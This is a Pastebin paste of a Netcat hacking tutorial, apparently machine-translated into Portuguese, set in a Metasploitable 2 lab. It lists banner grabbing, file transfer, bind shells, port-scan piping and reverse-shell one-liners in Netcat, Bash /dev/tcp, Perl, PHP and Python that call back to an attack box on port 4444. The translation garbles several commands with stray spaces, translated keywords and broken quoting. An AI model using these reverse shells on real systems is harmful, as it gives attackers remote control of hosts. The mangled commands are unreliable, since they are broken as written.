Advertisement
syst3m_h4x0r

Netcat

Jul 10th, 2018
24,335
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.76 KB | None | 0 0
  1. Captura de banner do Netcat
  2. O comando a seguir é usado para o banner de captura de serviço (faça uma conexão bruta para um serviço):
  3.  
  4. nc [endereço ip] [porta]
  5.  
  6. Vamos tentar isso no serviço FTP no Metasploitable 2 que está sendo executado na porta 21:
  7.  
  8. nc 192.168.100.100 21
  9.  
  10. nc [ip] [port] é usado para fazer uma conexão bruta com a porta que retornará um banner de serviço quando estiver disponível.
  11.  
  12. Conexão bruta do Netcat
  13. Para demonstrar como funciona uma conexão bruta, emitiremos alguns comandos FTP depois de estarmos conectados ao host de destino no serviço FTP. Vamos ver se o acesso anônimo é permitido neste servidor FTP, emitindo o comando USER e PASS seguido por anônimo.
  14.  
  15. Interação do servidor Web
  16. O Netcat também pode ser usado para interagir com servidores da Web, emitindo solicitações HTTP. Com o seguinte comando, podemos pegar o banner do serviço da web em execução no Metasploitable 2:
  17.  
  18. nc 192.168.100.108 80
  19.  
  20. E então execute este pedido HTTP:
  21.  
  22. HEAD / HTTP / 1.0
  23.  
  24. O servidor responde com o banner do servidor: Apache / 2.2.8 (Ubuntu) DAV / 2 e a versão do PHP.
  25.  
  26. Para recuperar a página de nível superior no servidor da web, podemos emitir o seguinte comando:
  27.  
  28. nc 192.168.100.108 80
  29.  
  30. E então execute este pedido HTTP:
  31.  
  32. GET / HTTP / 1.0
  33.  
  34. Transferências de arquivos com o Netcat
  35. Neste exemplo, estaremos usando uma conexão Netcat para transferir um arquivo de texto. Vamos supor que temos a execução de comandos remotos no host de destino e queremos transferir um arquivo da caixa de ataque para o host. Primeiro, precisamos configurar um ouvinte no host de destino e nos conectar a ele a partir da caixa de ataque. Nós estaremos usando a porta 8080 para essa finalidade e protegeremos o arquivo para a área de trabalho:
  36.  
  37. nc -lvp 8080> /root/Desktop/transfer.txt
  38.  
  39. Na caixa de ataque nos conectamos à porta 8080 e enviamos um nome de arquivo transfer.txt:
  40.  
  41. nc 192.168.100.107 8080 </root/Desktop/transfer.txt
  42.  
  43. Do que nós atingimos control + c e catamos o conteúdo do arquivo na caixa de ataque e no host de destino.
  44.  
  45. Shell reversa
  46.  
  47. Exemplo de shell reverso do Netcat
  48. Para configurar um shell reverso do Netcat, precisamos seguir as seguintes etapas:
  49.  
  50. Configurar um ouvinte Netcat.
  51. Conecte-se ao ouvinte do Netcat a partir do host de destino.
  52. Emita comandos no host de destino da caixa de ataque.
  53. Primeiro nós configuramos um listener Netcat na caixa de ataque que está escutando na porta 4444 com o seguinte comando:
  54.  
  55. nc –lvp 4444
  56.  
  57. Em seguida, emitimos o seguinte comando no host de destino para nos conectarmos à nossa caixa de ataque (lembre-se de que temos execução remota de código nesta caixa):
  58.  
  59. Para o Linux:
  60.  
  61. nc 192.168.100.113 4444 –e / bin / bash
  62.  
  63. Para Windows:
  64.  
  65. nc.exe 192.168.100.113 4444 –e cmd.exe
  66.  
  67. Na caixa de ataque, agora temos um shell bash no host de destino e temos controle total sobre essa caixa no contexto da conta que iniciou o shell reverso. Neste caso, o usuário root iniciou o shell, o que significa que temos privilégios de root no host de destino.
  68.  
  69. Shell reverso sem o Netcat no host de destino
  70. Uma desvantagem importante no exemplo mostrado é que você precisa do Netcat no host de destino, o que muitas vezes não é o caso no cenário do mundo real. Em alguns casos, o Netcat está presente ou temos uma maneira de instalá-lo, mas, em muitos casos, precisamos usar maneiras alternativas de nos conectarmos novamente à caixa de ataque. Vamos dar uma olhada em algumas maneiras alternativas de configurar um shell reverso.
  71.  
  72. Concha inversa Bash
  73. Com também pode usar o Bash para iniciar um shell reverso do host de destino para a caixa de ataque usando o seguinte comando:
  74.  
  75. bash -i> & /dev/tcp/192.168.100.113/4444 0> & 1
  76.  
  77. https://www.hackingtutorials.org/wp-content/uploads/2016/11/Netcat-basics-Reverse-shell-bash-6.jpg
  78.  
  79. Como podemos ver, o Netcat nessa caixa de ataque também aceita um shell reverso bash.
  80.  
  81. Shell reverso do Perl
  82. Se o Perl estiver presente nesse host remoto, também podemos iniciar um shell reverso usando o Perl. Execute o seguinte comando no host de destino para configurar o shell reverso:
  83.  
  84. perl -e ‘use Socket;$i=”192.168.100.113″;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
  85.  
  86. Shell reverso do PHP
  87. When PHP is present on the compromised host, which is often the case on webservers, it is a great alternative to Netcat, Perl and Bash. Let’s run the following code to use PHP for the reverse shell to the attack box:
  88.  
  89. php -r '$ sock = fsockopen (“192.168.100.113”, 4444); exec (“/ bin / sh-i <& 3> & 3 2> & 3”);'
  90.  
  91. Shell reverso do Python
  92. O Python também é uma linguagem muito comumente instalada em máquinas Linux. O seguinte comando emite um shell reverso usando Python:
  93.  
  94. python -c 'import socket, subprocesso, so; s = socket.socket (socket.AF_INET, socket.SOCK_STREAM); s.connect (("192.168.100.113", 4444)); os.dup2 (s.fileno () 0); os.dup2 (s.fileno (), 1); os.dup2 (s.fileno (), 2); p = subprocess.call ([“/ bin / sh”, - i ”]);
  95.  
  96. Um shell de ligação é um shell que se liga a uma porta específica no host de destino para escutar conexões de entrada. Vamos dar uma olhada na visualização de um shell Netcat de ligação:
  97.  
  98. https://www.hackingtutorials.org/wp-content/uploads/2016/11/Netcat-bind-shell.jpg'
  99.  
  100. Nesta visualização, o alvo liga um shell Bash à porta 4444 usando um ouvinte Netcat. O invasor se conecta a essa porta usando um comando simples do Netcat. As etapas para configurar um shell de ligação são as seguintes:
  101.  
  102. Vincule um shell bash à porta 4444 usando o Netcat.
  103. Conecte-se ao host de destino na porta 4444 da caixa de ataque.
  104. Emita comandos no host de destino da caixa de ataque.
  105.  
  106. https://www.hackingtutorials.org/wp-content/uploads/2016/11/Netcat-Bind-shell-example.jpg
  107.  
  108. O host de destino vincula um shell Bash à porta 4444, do que o ataque se conecta a essa porta usando o Netcat e ganha um shell de raiz no destino.
  109.  
  110. Saída Piping Netcat para arquivos
  111. Primeiro, vamos direcionar a saída de uma varredura simples da porta netcat para um arquivo chamado output.txt. Em geral, a saída da linha de comando pode ser enviada para um arquivo usando o operador> seguido por um nome de arquivo. Para o Netcat, isso não funcionará porque precisamos direcionar stderr e stdout para o arquivo. Podemos fazer isso usando o seguinte comando:
  112.  
  113. nc -vv -z localhost 1-100> output.txt 2> & 1
  114.  
  115. https://www.hackingtutorials.org/wp-content/uploads/2017/03/1-Netcat-write-output-to-file.jpg
  116.  
  117. Esse comando gerou todo o resultado da varredura de porta para o arquivo output.txt. Podemos usar o seguinte comando para filtrar a saída para portas abertas usando o grep:
  118.  
  119. nc -vv -z localhost 1-100 2> & 1 | grep open> output.txt
  120.  
  121. https://www.hackingtutorials.org/wp-content/uploads/2017/03/2-Netcat-grep-output-to-file.jpg
  122.  
  123. Este comando apenas envia as portas abertas para o arquivo de texto. Vamos ver como podemos canalizar a entrada e a saída do netcat para dinamizar as conexões de rede.
  124.  
  125.  
  126. Rotação de rede do Windows com o Netcat
  127. Vamos supor que temos 2 alvos do Windows e 1 caixa de ataque do Kali Linux. Nós comprometemos o host 1 do Windows da máquina Kali Linux e queremos ganhar um shell no Windows host 2, que é acessível somente a partir do host Windows 1. Precisamos direcionar o tráfego do host Kali Linux para o host 1 do Windows e redirecioná-lo para o host Windows 2. A saída deve ser enviada de volta para o host 1 do Windows, onde será redirecionada de volta para a máquina Kali Linux. Confuso? Vamos dar uma olhada no gráfico a seguir para uma melhor compreensão:
  128. https://www.hackingtutorials.org/wp-content/uploads/2017/03/3-Netcat-Windows-pivoting.jpg
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement